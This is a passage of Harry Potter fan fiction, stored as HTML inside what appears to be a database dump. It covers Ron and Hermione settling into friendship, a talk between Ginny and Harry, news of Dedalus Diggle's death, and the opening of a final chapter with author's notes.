who accepted him for what he was, who looked beyond his lack of money, his hand-me-down robes, his second-hand books and Spell-o-taped wand ...</p>\n\n<p>And there, he realized, was where the truth lay: it was Hermione&#8217;s friendship and acceptance of who he was and what he was that formed the solid core and foundation of everything that he felt about her.&nbsp; At the heart of it all was <i>gratitude</i> for everything that she had been to him &#8230; but beyond the sense of thankfulness and appreciation for all that she had been to him was &#8230; nothing.</p>\n\n<p>Hermione accepted him for what he was, and that was enough. There was no need for anything more &#8230; </p>\n\n<p>But there lay the difference between him and Harry.</p>\n\n<p>Because even he could sense that there was something more between them &#8230; something that made Harry look beyond the bushy-haired, know-it-all, interfering and indescribably bossy persona that Hermione initially exhibited &#8230; and made Hermione go past the messy-haired, green-eyed, clueless face of The-Boy-Who-Lived.</p>\n\n<p>It was the same something that made Harry realize, in a series of steps that even he could never explain, that Hermione did not know about the Mountain Troll that had gotten into Hogwarts &#8211; and the same something that made Hermione recognize that someone was hexing Harry&#8217;s broom during his first-ever Quidditch match.</p>\n\n<p>And made both of them act, thinking of only one thing: that the other was in danger, and they had to do something about it.</p>\n\n<p>They needed each other. </p>\n\n<p>At the heart of every thought and every action was that single overriding reality: they needed each other &#8230; to survive, to continue &#8230;</p>\n\n<p>To live.</p>\n\n<p>While he &#8230; did not really need them as much as they seemed to need each other.</p>\n\n<p>He could hear himself rambling &#8230; but it was as if his mouth was running on auto-pilot (which, he ruefully admitted to himself, was something it was wont to do often), fueled as it was by that stubbornly optimistic side of himself that often refused to accept facts until he was beaten bloody and bowed, forced to stare facts in the eye.&nbsp; He heard himself stumbling and mumbling until his mouth ended with the question: &#8220;Will you be my girlfriend?&#8221;&nbsp; </p>\n\n<p>And now that the question lay between them, he was totally surprised that what he felt at this moment was &#8230; release.</p>\n\n<p>Liberation.</p>\n\n<p>There was no sense of anticipation, not one iota of <i>expectation</i> about the answer that she would give &#8230; thinking back on the past ten minutes or so, he realized that she knew &#8230; that she was expecting something like this to happen &#8230; and that he had known what her answer would be.</p>\n\n<p>He watched as she turned to him, tears in her eyes as she said, in a soft, strangled voice, &#8220;I&#8217;m sorry, Ron but I can&#8217;t &#8230; I can&#8217;t &#8230;&#8221;</p>\n\n<p>He placed a finger on her lips to shut her, for once exhibiting a tenderness and understanding that he knew was often absent in his dealings with her and told her, in the same soft, strangled voice, &#8220;I understand, Hermione.&#8221;</p>\n\n<p>And he truly did.</p>\n\n<p>They fell silent at that, turning away from each other &#8230; retreating into their thoughts, staring at their surroundings etched in black, white and shades of grey from the light of the moon and the stars ...</p>\n\n<p>He took a deep breath of the cool night air and released it in one explosive exhalation &#8230; and felt his sense of relief magnified, expand to immeasurable proportions and spread through his mind and his soul </p>\n\n<p>It was &#8230; he struggled to find a word to describe his feelings &#8230; it was <i>wonderful! </i>It was liberating &#8230; it was wonderful to sit in the garden with his best friend &#8230;</p>\n\n<p>His friend.</p>\n\n<p>Not someone to court.&nbsp; Not someone to think of as a prospective partner &#8230; just a bushy-haired, bossy <i>girl</i> with whom he frequently bickered, often teased and sometimes insulted without thinking, but who was attractive in her own way: enjoyable as a companion, intelligent in a way he would always admire and want to emulate, loyal to her friends and the causes she espoused &#8230; but, at the end of it all &#8230; a friend.</p>\n\n<p><i>His </i>friend.</p>\n\n<p>And he was happier for it.&nbsp; </p>\n\n<p>But the stubbornly insistent part of his personality demanded an answer &#8230; needed confirmation of his thoughts and observations &#8230; required an assurance that he could still understand his friends, that he was still a part of them as they were a part of him &#8230; and that they would continue to treat him as one.</p>\n\n<p>Which was why the question had to be asked.</p>\n\n<p>&#8220;It&#8217;s Harry, isn&#8217;t it?&#8221;</p>\n\n<p>From behind the curtain of her hair, an answer came &#8230; so softly that he almost missed it: &#8220;No.&#8221;</p>\n\n<p>He turned to her, stunned. &#8220;No?&#8221; he repeated, unsure whether he heard her correctly.</p>\n\n<p>She turned, pushing aside her hair to look at him, unencumbered by anything in the way: &#8220;It&#8217;s Gilderoy Lockhart, Ron &#8230; always has been, always will be.&#8221;</p>\n\n<p>He felt his jaw dropping &#8230; he would later swear to all the wizards and witches in his extensive collection of chocolate frog cards that he felt his lower jaw <i>waggle</i> in shock before he could blurt out, &#8220;You&#8217;re <i>joking</i>, aren&#8217;t you?&#8221;</p>\n\n<p>Hermione simply stared back &#8230; and he could only gawk in disbelief.&nbsp; His brain shut down and he didn&#8217;t see Hermione biting her lower lip, didn&#8217;t notice that she was beginning to breathe rapidly and shallowly, didn&#8217;t realize that she was turning red from the effort of holding back, until:</p>\n\n<p>&#8220;I wish Colin Creevey could take a picture of your <i>face</i> &#8230;&#8221;</p>\n\n<p>And he knew he&#8217;d been had; royally, totally <i>had</i> by his friend &#8230; he lunged at her, only to trip over his own feet &#8230; and he was eating dirt as her laughter rolled out above him.</p>\n\n<p>He sat up, spitting dirt and leaves &#8230; watching Hermione, who was now on her knees, laughing at him. He wanted to stand up and brush himself off &#8230; to try and regain what dignity he had left &#8230; but her laughter was infectious, and he found himself clutching his stomach as the humor of it all hit him and he joined her in the cleansing relief of laughter at himself and his willingness to believe his friend &#8230; and the sheer joy as he realized that he could still understand her, he could still <i>appreciate</i> her sense of humor, even if it was at his expense.</p>\n\n<p>The moon and the stars continued their course, indifferent witnesses to the sight of two friends rolling around on the ground, sharing the cleansing gift of shared laughter.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>The silence between them stretched and expanded, neither one sure of where they were going, or even how to get there, wherever or whatever it was. Harry couldn&#8217;t look at Ginny&#8217;s reproachful face and eyes and he felt himself torn between the need to get out of bed and see to his friends&#8217; safety &#8230; and the immobile figure of Ginny Weasley in front of him.</p>\n\n<p>Harry&#8217;s head suddenly snapped around at the sound of Ginny&#8217;s quiet voice: &#8220;It&#8217;s Tom, isn&#8217;t it?&#8221;</p>\n\n<p>Tom?</p>\n\n<p>Tom Riddle.</p>\n\n<p>Of course.</p>\n\n<p>He didn&#8217;t respond immediately as his inner turmoil continued.&nbsp; He had no wish to rake up Ginny&#8217;s buried memories, no desire that she confront once again those painful, tormented days and nights when she had fallen so deeply into Tom Riddle&#8217;s power that she had ended up alone in the Chamber of Secrets &#8230; drawn there by her childhood crush on Harry Potter and his own feeble, and in the end, inept efforts to help her.</p>\n\n<p>In truth, he had no inkling, no clue of what to do about her feelings for him &#8230; he&#8217;d recognized the signs from the moment she walked into the kitchen and fled, that first time he&#8217;d visited The Burrow.&nbsp; He didn&#8217;t need the constant snickers of the Twins or the sly teasing of Hagrid, to know that Ginny had a crush on him &#8230; all he felt he could do was to let time and maturity work its way on her and eventually, help her move on &#8230;</p>\n\n<p>How was he to know that the infernal diary from hell would turn the tables on him? </p>\n\n<p>Instead of the crush fading away, Ginny was now bound even closer because of the debt she owed him. Instead of friendship and affection replacing immature emotions, he now had to deal with hero-worship and awe &#8211; both of which he hated with a passion.</p>\n\n<p>It was just another of the insidious ways, he thought, that Voldemort had ruined his life &#8230; aside from the guilt that he had to carry, he again had to confront the fact that he was not living an ordinary life &#8230; that he could not even hold a decent conversation with his friend&#8217;s sister because of&nbsp; what had happened between them.</p>\n\n<p>He remembered Piers Polkiss&#8217; sarcastic remark from way back in his abused childhood (a miserable time caused, once again, by Voldemort&#8217;s interference in his life): &#8220;Whoever said that life was fair, Potter?&#8221;</p>\n\n<p>Yeah, right. </p>\n\n<p>Fate sucks.</p>\n\n<p>His head snapped up at Ginny&#8217;s strident whisper, &#8220;Harry!&#8221;</p>\n\n<p>He gawked at her next statement, &#8220;You better get dressed &#8230; we need to talk with Ron and Hermione about this.&#8221;</p>\n\n<p>&#8220;<i>We</i>, Ginny?&#8221;</p>\n\n<p>She looked him in the eye as she responded, &#8220;Well, you got me up anyway, right? Might as well be in on what happened &#8230; and what&#8217;s going to happen.&#8221;</p>\n\n<p>&#8220;Ginny &#8230;&#8221;</p>\n\n<p>&#8220;Shut it, Potter.&#8221; He gaped, surprised at the intensity of her reaction. &#8220;I&#8217;m involved &#8230; we are all involved. You&#8217;re a member of this family now &#8230; whatever happens to you, happens to us. You can&#8217;t keep on like this, carrying the load by yourself &#8230; if we can help you, we will.&#8221;</p>\n\n<p>&#8220;Ginny &#8230;&#8221;</p>\n\n<p>&#8220;Oh, stop it, Harry! I know what you&#8217;re trying to do! You want to protect me &#8230; keep me from getting involved, stop me from getting hurt. Well, get this, Mr. Harry Potter &#8211; I <i>am</i> involved. Tom used me to try to get at you &#8230; he almost succeeded because I was too weak &#8230; but no more. No more, do you hear me? I&#8217;m not going to let you or my big brothers keep on hiding me from the real world.&nbsp; I have a life too, you know &#8230; the sooner I learn to face it, the better for me.&#8221;</p>\n\n<p>&#8220;Ginny &#8230;&#8221;</p>\n\n<p>&#8220;What? If you&#8217;re going to go all noble and protective on me &#8230;&#8221;</p>\n\n<p>&#8220;<i>Ginny!</i> Would you please step outside while I get dressed?&#8221;</p>\n\n<p>Blue eyes clashed with green, and Ginny felt the blood rushing to her head &#8230; but this time, it wasn&#8217;t because of her feelings for the boy on the bed. It was embarrassing, she thought, she&#8217;d been so engrossed with her declaration of independence that she had totally forgotten who it was she was talking with (and his state of undress at that moment) &#8230; and remembered, once again, the reasons behind her conflicting emotions for The Boy-Who-Lived.</p>\n\n<p>She turned away, the blush still on her face from her mortification, and whispered, &#8220;I&#8217;m sorry &#8230; I&#8217;m such a girl &#8230;&#8221;</p>\n\n<p>She felt him leaving the bed and standing beside her, felt his hand on her shoulder and heard him say, &#8220;Never apologize, Ginny &#8230; never apologize for the things we have no control over. If there is one thing I learned over the summer &#8230; never blame yourself for the things that you never know &#8230; and could do nothing about when they happen.&#8221;</p>\n\n<p>The kind words and the soft touch broke her down.&nbsp; She turned around and hugged him; for the first time in a long while, she gave in to her emotions and embraced him in the same way that she&#8217;d hugged Bill during her troubled, growing up years as the youngest child and only girl in a family of boys.&nbsp; </p>\n\n<p>She wept not for the loss of him as a potential boyfriend; she cried from the sheer comfort of knowing that he was around, that no matter who he was and would be, no matter who he was with and will be with &#8230; that she&#8217;d have his friendship, his understanding &#8230; his protection and warmth from what she knew was the gathering darkness.</p>\n\n<p>She felt his arms around her, holding her tightly as he&#8217;d held her when she woke up in the Chamber of Secrets &#8230; felt his clothes getting wet with her tears in the same way she&#8217;d wept on him then &#8230; heard his comforting words: &#8220;Shhh, Ginny &#8230; it&#8217;s all right. It&#8217;s all right &#8230;&#8221;</p>\n\n<p>Too soon, she could feel him pulling away and she convulsively hugged him tighter, wishing only for a few more moments of comfort and protection &#8230; and let go only when she heard him say, &#8220;You&#8217;d better wait for me outside, Gin. I doubt being a member of the family will keep Fred and George away when they see you in my room!&#8221;</p>\n\n<p>She giggled and wiped her eyes, whispering, &#8220;Thanks, Harry.&#8221;</p>\n\n<p>He smiled at her and they spent a few moments looking at each other, understanding running between them, before she turned and walked to the door of the room.&nbsp; As she was about to step out, however, she paused again to look at him: &#8220;You&#8217;re not going to jump out the window when I&#8217;m out here, are you?&#8221;</p>\n\n<p>He grinned back at her, the patented Harry Potter Smile that once would have made her weak-kneed and red all over, but now only bathed her in warmth and comfort, and replied, &#8220;Only if Fred, George or Ron come in here demanding to know what you&#8217;re doing in my room.&#8221;</p>\n\n<p>She giggled again and stepped out, secure and confident in Harry&#8217;s trust and affection &#8211; and realized that she had been spending all that time talking and hugging him in her nightdress. She felt herself blushing all over, knowing that the only non-red parts of her body would be the palms of her hands and the soles of her feet, thinking at the same time, &#8216;No wonder Harry was scared of the Twins or Ron or Percy finding me there!&#8217;</p>\n\n<p>Soon enough, he was outside the door again and they started down the stairs, pausing only for her to grab a robe from her room.&nbsp; They were in the living room, heading for the door when the fireplace suddenly blazed with a startling, green light &#8230; and the face of Albus Dumbledore could be seen in the midst of the flames.</p>\n\n<p>&#8220;Arthur? Arthur, are you there?&#8221; </p>\n\n<p>Ginny and Harry froze in surprise: why should their Headmaster be looking for Mr. Weasley at this time of the night? Unconsciously, Harry began rubbing his scar, even though its aching had stopped earlier &#8230; Before either one could respond, Dumbledore&#8217;s eyes focused on Ginny and, seemingly ignoring Harry, called out, &#8220;Miss Weasley? Can you please call your father here? I need to talk with him, urgently.&#8221;</p>\n\n<p>Ginny looked in confusion to Harry; before he could say anything, however, she had given him a gentle shove towards the door, whispering, &#8220;Go on ahead, I&#8217;ll catch up with you.&#8221;</p>\n\n<p>As she turned and ran back up the stairs, Harry hesitated &#8230; and decided to go on.&nbsp; If Dumbledore needed him, he&#8217;d have asked for him &#8211; and he could see that the Headmaster had turned away from the fireplace, as if he was talking to someone out of his field of vision.</p>\n\n<p>The decision made, Harry walked swiftly to the door and stepped out into the cool darkness of the remaining night &#8230;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>They&#8217;d been sitting in comfortable silence for some time, both of them awed by what a few moments of honesty and openness had wrought.</p>\n\n<p>It was a silence without a tinge of tension in the air; it was comfortable with no sense of anything unsaid floating between them. It was companionship, friendship and familiarity &#8230; and though both knew that they would soon be bickering over things trivial or important (since both had distinctly opposing views of what was trivial and important), they both knew that it would be more in the nature of bantering, good-natured joking &#8211; and never bickering.</p>\n\n<p>Because they both knew where they stood.</p>\n\n<p>And both were comfortable with that.</p>\n\n<p>Soon enough, Ron broke the silence &#8211; and Hermione smiled. He could never stand the silence, she thought. Having grown up with a large and rowdy brood, he&#8217;d never understood the value of silence &#8230; unlike Harry who was used to the silence.</p>\n\n<p>&#8220;It&#8217;s Harry, isn&#8217;t it?&#8221;</p>\n\n<p>She let her hair fall over her face once again, not willing to verbalize her response.&nbsp; Yes, she wanted to shout out loud, yes, it&#8217;s Harry &#8230; it has been, always will be &#8230; but she didn&#8217;t want to say it, fearful that doing so may break the magic &#8230; in much the same way that a mispronounced Levitation Charm found Wizard Baruffio on the floor with a buffalo on his chest.</p>\n\n<p>After a moment, she shook herself and turned to him, a teasing tone in her voice: &#8220;Are you sure you&#8217;re Ronald Weasley? The Ron Weasley I know would have been turning the air blue with four-letter words &#8230; &#8220;</p>\n\n<p>&#8220;You forget, Hermione, love is also a four-letter word.&#8221;</p>\n\n<p>She looked at him, eyebrow raised in surprise and speculation &#8230; and he smiled at her. &#8220;Well, <i>that</i> Ron Weasley was a real prat who didn&#8217;t deserve you or Harry.&nbsp; Let&#8217;s just say that he&#8217;s had a change of heart and mind &#8230; it just needed a few things to make him realize how much of a dense, insensitive and totally immature prat he was.&#8221;</p>\n\n<p>&#8220;Oh? And what would those changes be?&#8221;</p>\n\n<p>&#8220;Bill&#8217;s diary.&#8221;</p>\n\n<p>&#8220;Excuse me?&#8221;</p>\n\n<p>Ron turned away and repeated his words, softly: &#8220;Bill&#8217;s diary.&#8221;</p>\n\n<p>As if those words were the key to an unopened door, the words spilled out, and he started telling her about what he had been reading that night &#8230; quoting passages from Bill&#8217;s thoughts &#8230; interspersing these with his own thoughts and feelings memories &#8230; and as the words poured out, Ron felt Hermione&#8217;s hand enfolding his, holding him tightly as she watched his face move from elation to sadness &#8230;</p>\n\n<p>&#8220;I guess it was that last letter that did it for me, Hermione.&nbsp; He&#8217;d kept the letter in that diary &#8230; Spell-o-taped together after he&#8217;d torn it up &#8230; smudges here and there from his tears, her tears, who knows? But he&#8217;d kept it &#8230;&#8221;</p>\n\n<p>He took a deep breath and looked into her chocolate-brown eyes, now glinting with unshed tears. &#8220;I kept asking myself &#8230; what would I have done in Bill&#8217;s shoes? Would I have turned away from Erin simply because she was in love with someone else? From what Bill wrote, Richard was a nice enough guy &#8230; who&#8217;d also been his best friend. In fact, it seemed as if Bill was the one who got them together in the first place &#8230; during the times when he thought that Erin was just a friend to him &#8230;&#8221;</p>\n\n<p>&#8220;Oh, Ron &#8230; that&#8217;s so sad.&#8221;</p>\n\n<p>He didn&#8217;t appear to have heard her, as he continued talking &#8230; &#8220;I finally understood what Erin was trying to tell Bill &#8230; and why Bill tore up her letter to him.&nbsp; He felt she had betrayed him and was trying to make up by throwing in his face something he&#8217;d said to her years before.</p>\n\n<p>&nbsp;&#8220;It made Bill bitter.&nbsp; We never understood why he decided to accept the Cairo posting from Gringotts.&nbsp; We always assumed that he would continue working here &#8230; in fact, Gringotts had offered him a position with their London headquarters, but he said Cairo gave him a higher allowance and better scope for promotion &#8230;&#8221;</p>\n\n<p>He fell silent, breathing heavily, as if Bill&#8217;s story had been some sort of catharsis for him.&nbsp; Hermione wisely kept silent as she listened to the story, although she wondered what had been in that final letter that seemed to have affected Ron so deeply.</p>\n\n<p>&#8220;I&#8217;m not going to repeat Bill&#8217;s mistake, Hermione. He turned away from his best friends because he felt they had betrayed him when in fact, he betrayed himself. If there is one thing I&#8217;ve come to realize from reading his diary &#8230; I&#8217;m not going to let myself destroy one of the most wonderful things that has happened to me.&#8221;</p>\n\n<p>&#8220;And that is?&#8221;</p>\n\n<p>&#8220;You. Harry and you &#8230; you and Harry.&#8221; He turned to her and suddenly grabbed her hands, and she looked into his blazing blue eyes. &#8220;You&#8217;re my <i>friends</i>, Hermione &#8230; you have always been with me all the time.&nbsp; Even when I was acting like a complete idiot, even when I was being Hogwarts&#8217; biggest prat last year, neither of you ever gave up on me &#8230; I&#8217;m not going to risk that. I&#8217;m not going to risk what we have just because I&#8217;m jealous of what you and Harry have &#8230; I want to be your friend, Hermione.&#8221;</p>\n\n<p>&#8220;Oh, Ron.&#8221; There was nothing else she could say, so she did the next best thing &#8230; and gave him a hug. For a moment he sat frozen on the bench, and finally gave in to his emotions &#8211; and embraced her tightly, closer than he&#8217;d ever hugged anyone before &#8211; even his mother or father.&nbsp; As their embrace tightened, he felt her tears soaking his chest &#8230; but did nothing because he knew that she could feel his tears falling on her hair.</p>\n\n<p>Neither one saw that Harry had come upon them &#8230; neither one realized that he was standing there, gaping like a beached salmon at the sight before him &#8230; neither one heard as he turned away and started walking swiftly away towards the paddock the Weasleys owned &#8230; only to suddenly stop some distance away from them and turn back, staring as if he couldn&#8217;t believe his eyes, feeling as if his insides had turned molten and was pouring down into his feet &#8230;</p>\n\n<p>They finally broke their embrace &#8230; faces flushing at the raw emotions they&#8217;d felt &#8230; Ron feeling that his emotional liberation was finally complete, Hermione finally understanding what Ron had gone through during the past four years as he watched the friendship grow and deepen between his two best friends, never knowing what it was that was happening, wanting to be a part of it all but too often incapacitated and out of it through no fault of his own &#8230;</p>\n\n<p>Impulsively, she leaned over and kissed him on the cheek &#8230; unconsciously, he turned his head to look at her and the kiss landed near his mouth &#8230; they sprang apart as if stung, but their looks of shock quickly turned into smiles and they hugged again, but this time without the raw emotions of only seconds before.</p>\n\n<p>This time, the hug was comforting &#8230; it was a hug shared between friends who&#8217;d reached a deeper understanding of each other &#8230; for whom acceptance had arrived without fanfare or grand gestures &#8230; who knew that their friendship would last for an eternity, never seeking or wanting anything more from each other but acceptance, tolerance, support, affection &#8230;</p>\n\n<p>Finally, they broke apart, to sit comfortably once again on the bench that had seen its share of heartbreaks and loss, as well as affection and promise &#8230; but had never before seen or felt the renewal or re-casting of a friendship into a different form. </p>\n\n<p>Hermione leaned her head on Ron&#8217;s arm and felt him wrap an arm around her; instinctively, she placed an arm around him in a reaffirmation of the new level of friendship they shared, and she heard him murmuring something that she knew were the words of the mysterious Erin to Bill:</p>\n\n<p><i>&quot;Sometimes, the love you hold for a person can never be realized in the usual ways.&nbsp; At the moment of realization, it begins to change ... away from selfishness to one of truly caring without the need for any actual \'return&#8217;.</i></p>\n\n<p><i>&quot;Love is never lost.&quot;</i></p>\n\n<p>She sighed in contentment, happy that she hadn&#8217;t lost a friend &#8230; feeling delirious in the knowledge that she had nothing to fear in her deepest feelings for her other friend &#8230; feeling a burden lifted from her shoulders that their Trio could only grow stronger, even if two of them were going to be closer in a way she had hoped for and wanted &#8230;</p>\n\n<p>But the moment was broken as they heard running footsteps behind them, and they broke apart as Ginny&#8217;s frightened, strident voice reached their ears: &#8220;Harry! Harry! Ron! Hermione! Where&#8217;s Harry?&#8221;</p>\n\n<p>They stared at each other in shock &#8211; why should Ginny be looking for Harry out there? Wasn&#8217;t he in bed, sleeping? He would have said something, anything if he had gone out to look for them, wouldn&#8217;t he? </p>\n\n<p>Their mouths dropped simultaneously just as a panting Ginny reached them. Ron grabbed his sister&#8217;s shoulders tightly and shook her slightly in an effort to calm her down.</p>\n\n<p>Ginny was babbling, almost incoherently: &#8220;Harry was having a nightmare and I woke him up &#8230; we were going to look for you when Professor Dumbledore came on the Floo network asking for Dad &#8230; I went upstairs to get Dad but told Harry to go ahead &#8230; where is he, Ron? Where is he?&#8221;</p>\n\n<p>Before Ron could answer, they heard more footsteps coming their way and turned to see Arthur Weasley and Percy bearing down on them, disheveled, hastily thrown-on robes flapping in the air, both in fuzzy bedroom slippers that had seen better days &#8230;</p>\n\n<p>&#8220;Dad!&#8221; Ron called as they approached, &#8220;What happened? What&#8217;s going on?&#8221;</p>\n\n<p>&#8220;Ron! Hermione!&#8221; Arthur Weasley stopped beside them, gasping for air, &#8220;Where&#8217;s Harry?&#8221;</p>\n\n<p>&#8220;What happened, Dad?&#8221;</p>\n\n<p>Arthur&#8217;s eyes kept darting around, apparently searching for Harry as he answered his youngest son, &#8220;It&#8217;s Dedalus Diggle, Ron. Dumbledore told me &#8230; there&#8217;s been a Death Eater attack and they killed him &#8230; &#8220;</p>\n\n<p>Ron&#8217;s eyes widened at this and he croaked out, &#8220;Are you sure?&#8221;</p>\n\n<p>&#8220;The Ministry just confirmed it, Ron,&#8221; Percy said, as he tried to catch his breath. &#8220;There was a Death Mark in the sky above Mr. Diggle&#8217;s cottage &#8230; the Aurors got there too late &#8230; they&#8217;d left a sign &#8230;&#8221;</p>\n\n<p>&#8220;What sign, Perce?&#8221; Ron asked, puzzled but trying to keep his panic down.</p>\n\n<p>&#8220;Potter&#8217;s Fan.&#8221;</p>\n\n<p>A stunned Ron looked from his father to his brother to his sister &#8230; and his eyes met Hermione&#8217;s, who was now biting down hard on her fist, as she tried to keep from whimpering. Before he could say anything, Hermione had turned and fled &#8211; and his eyes followed her as she ran, not to The Burrow but towards the paddock and he breathed a sigh of relief &#8230;</p>\n\n<p>He turned back to his family and their increasingly frantic questioning of where Harry was and replied, in a voice that quickly silenced them all: &#8220;Hermione&#8217;s gone after him.&#8221;</p>\n\n<p>He didn&#8217;t voice the next thought that popped in his mind: &#8220;Better her than me.&#8221;</p>\n\n<p>&nbsp;</p> '),
	(125, 11, ' <p>Epiphanies 10</p>\n\n<p>(<b>Author&#8217;s Notes</b>: The usual disclaimers (ducks objects thrown at him).</p>\n\n<p>OK, guys, this is <i>it</i>. The last chapter (:sob:) </p>\n\n<p>I would like to use this opportunity to thank some of the people who have made the writing of this story so enjoyable and rewarding: <b>dan (griffiths eye)</b>, whose comment on an early chapter helped define the story in a way I never expected; <b>catsky, elise </b>and <b>freya</b>, whose constant follow-ups last year made me continue the story which I had set aside; <b>erin, nicole </b>and <b>briarswt</b>, whose gentle reminders helped me bring the tale to this point; and <b>lils, amelia, paracelsus, brazilianfan</b> and many, many others whose thoughtful reviews and lovely insightshave helped improve this sometime writer&#8217;s craftsmanship immeasurably.</p>\n\n<p>And, as always, hugs and kisses to the people of the HMS Pumpkin Pie, portkey.org and pumpkin pie.org, my &#8220;homes away from RL&#8221; from whom I have often drawn inspiration, solace, and ideas.&nbsp; Thank you all!</p> Chapter 10.&nbsp; &#8220;I Need You &#8230;&#8221; <p>Hermione stumbled yet again as she ran up the unfamiliar path towards the paddock where the boys had often played Quidditch in the summer just past.&nbsp; She&#8217;d gone up there with them before but always in daytime &#8230; but the changing light, as the night surrendered reluctantly to the coming dawn, made it difficult to see the way.&nbsp; She felt brambles snag at her but she ran on, heedless that she had torn Harry&#8217;s old Quidditch robes in several places, thinking that she could easily repair them when she returned to her room, anxious only that she get to Harry.</p>\n\n<p>She kept berating herself for not being there when Harry had his nightmare &#8230; scolding herself for not realizing that whatever it was that had woken her up earlier was somehow related to Harry &#8230; reproaching herself for going out of the house rather than going to Harry&#8217;s room to check on him &#8230;</p>\n\n<p>&#8216;But what could I do?&#8217; she asked herself. &#8216;I couldn&#8217;t just burst into his room because I had a bad dream &#8230; not when Ron is sharing the same room &#8230;&#8217;</p>\n\n<p>&#8216;But he wasn&#8217;t,&#8217; another part of her brain replied. &#8216;He said he fell asleep in the living room while reading Bill&#8217;s journal &#8230;&#8217;</p>\n\n<p>&#8216;How was I to know,&#8217; she snarled back. &#8216;It&#8217;s not as if I was looking for Ron when I went down the stairs &#8230;&#8217;</p>\n\n<p>&#8216;You still should have gone to Harry,&#8217; the voice in her mind said. &#8216;Then you wouldn&#8217;t be in this mess &#8230;&#8217;</p>\n\n<p>&#8216;What mess?&#8217; she shrieked back in her mind. &#8216;I just had a talk with Ron &#8230;&#8217;</p>\n\n<p>&#8216;And ended up hugging him, and kissing him, and hugging him again. What do you think Harry will be thinking if he saw that &#8230; no, erase that. Not if &#8230; when he saw that.&#8217;</p>\n\n<p>She tripped over an exposed root that her tear-filled eyes had missed, and felt her hands getting scratched as she caught herself. Unheeding, she scrambled on, not even realizing that a thorny branch had caught in her hair and drew a long, thin scratch down her face, drawing blood that beaded along the cut skin &#8230;</p>\n\n<p>She pressed on, one thing on her mind: she wasn&#8217;t there when Harry needed her.</p>\n\n<p>She abruptly paused &#8230; and mentally threw her traitorous thoughts (now asking why and how she knew that Harry needed her) behind her.&nbsp; She didn&#8217;t need those thoughts now &#8230; all that she knew, all she wanted to know, was that Harry was safe.</p>\n\n<p>She would deal with it as she had dealt with everything else in her life: with cool logic, even in the face of fire.</p>\n\n<p>But her pace faltered. </p>\n\n<p>Cool logic came from knowledge; but her store of knowledge came from books, not hard-won experience.&nbsp; </p>\n\n<p>Books were her solace &#8230; books were her refuge &#8230; books were the perfect means to hide behind when one&#8217;s mind was in confusion, although at those times, they seldom had the answers to the questions that boiled in her mind &#8230;</p>\n\n<p>At least, not the books she was most comfortable with.</p>\n\n<p>Would <i>Hogwarts: A History </i>have an answer for her current predicament? Does <i>Most Potente Potions</i> have a Time-Turner potion so that she can live the past ten minutes over again &#8211; and prevent herself from letting her emotions go? Would <i>Gadding with Ghouls</i> have given her any advice how to approach Harry now?</p>\n\n<p>And, for a brief moment, she wondered whether <i>Unfogging the Future</i> would have helped predict this: establishing peace with one friend but setting up a situation that would make the other question her feelings for him?</p>\n\n<p>She burst into the clearing and frantically looked around for Harry.&nbsp; She felt a wave of panic and nausea engulf her when she didn&#8217;t see him &#8230; and realized in the next moment that he was standing near a tree, his back to her &#8230; leaning on it and shaking his head &#8230;</p>\n\n<p>Hermione walked forward slowly, feeling pain lance through her.&nbsp; He&#8217;d been sick, she knew &#8230; she didn&#8217;t need to see the puddle by his feet to know that he&#8217;d thrown up &#8230; but was it because of his nightmare, or his mad rush to get here, or &#8230; </p>\n\n<p>Had he seen them, she wondered? Had he seen them on the bench as they&#8217;d hugged in that shared moment of understanding &#8230; seen them and jumped to the wrong conclusion, as boys so often do? </p>\n\n<p>She felt a twig snap beneath a bare foot and became aware that she&#8217;d lost a slipper in her mad dash to find him. But she didn&#8217;t pay heed as a stone dug into her foot &#8230; Harry had straightened up at the sound of the snapping twig and said, in a cold and distant voice, &#8220;Don&#8217;t.&#8221;</p>\n\n<p>Hermione stopped, the stone she&#8217;d stepped on digging uncomfortably into her heel. She shifted from one foot to another &#8230; waiting for Harry to make the next move.</p>\n\n<p>&#8220;What do you want, Hermione?&#8221; </p>\n\n<p>She nearly stepped backward at the venomously cold tone of his voice, but forced herself to speak, knowing that she wasn&#8217;t answering the question he was really asking, but telling herself that she had to set a priority: &#8220;It&#8217;s Mr. Weasley. He needs you back at The Burrow.&#8221;</p>\n\n<p>He didn&#8217;t respond; neither did he turn around to face her. After a moment, she continued, nearly stumbling over her words: &#8220;It&#8217;s Mr. Diggle, Harry &#8230; Dedalus Diggle? He&#8217;s been attacked by Death Eaters &#8230;&#8221; </p>\n\n<p>She watched as his shoulders slumped and nearly stepped forward, but his response stopped her cold: &#8220;They killed him, didn&#8217;t they?&#8221;</p>\n\n<p>&#8220;Yes, they did,&#8221; she whispered. &#8220;I&#8217;m sorry, Harry.&#8221;</p>\n\n<p>&#8220;I know.&#8221;</p>\n\n<p>Her head snapped up at this, and she felt the beginning of a smile break out on her face &#8230; only to lose it as he turned around to face her: pale-faced, messy hair, looking slightly green, one lens of his glasses shattered from an apparent stumble. She gave a small cry and stepped forward &#8230; only to step back again as she saw the thunderous look on his face as he threw a soiled handkerchief away from him.</p>\n\n<p>&#8220;Your glasses &#8230;&#8221;</p>\n\n<p>She couldn&#8217;t approach him &#8230; his very stance told her that.&nbsp; She could only watch helplessly as he removed his glasses and pulled out his wand. With a murmured &#8220;<i>Occulus Reparo</i>!&#8221; he fixed it himself and put them on &#8230; and she had to step back as her eyes finally met his blazing greens, seemingly magnified to enormous, fiery orbs.</p>\n\n<p>She flinched as he locked eyes with her &#8230; and she felt something within her curling up into a fetal position, beaten into fear and submission by the aching pain that she saw in his eyes.&nbsp; She could sense his feeling of betrayal as his eyes flickered with the memories of what he had seen only minutes before, contrasting with the moments they&#8217;d shared the day before &#8230; and she knew he would be feeling a wrenching loss at all that had happened &#8230; </p>\n\n<p>Because she could feel the same wrenching loss, knowing that there was nothing she could do or say right now &#8230; there was no answer that he would listen to at this point. Behind his anger, she could see the shadows of that little boy who&#8217;d been abandoned to a 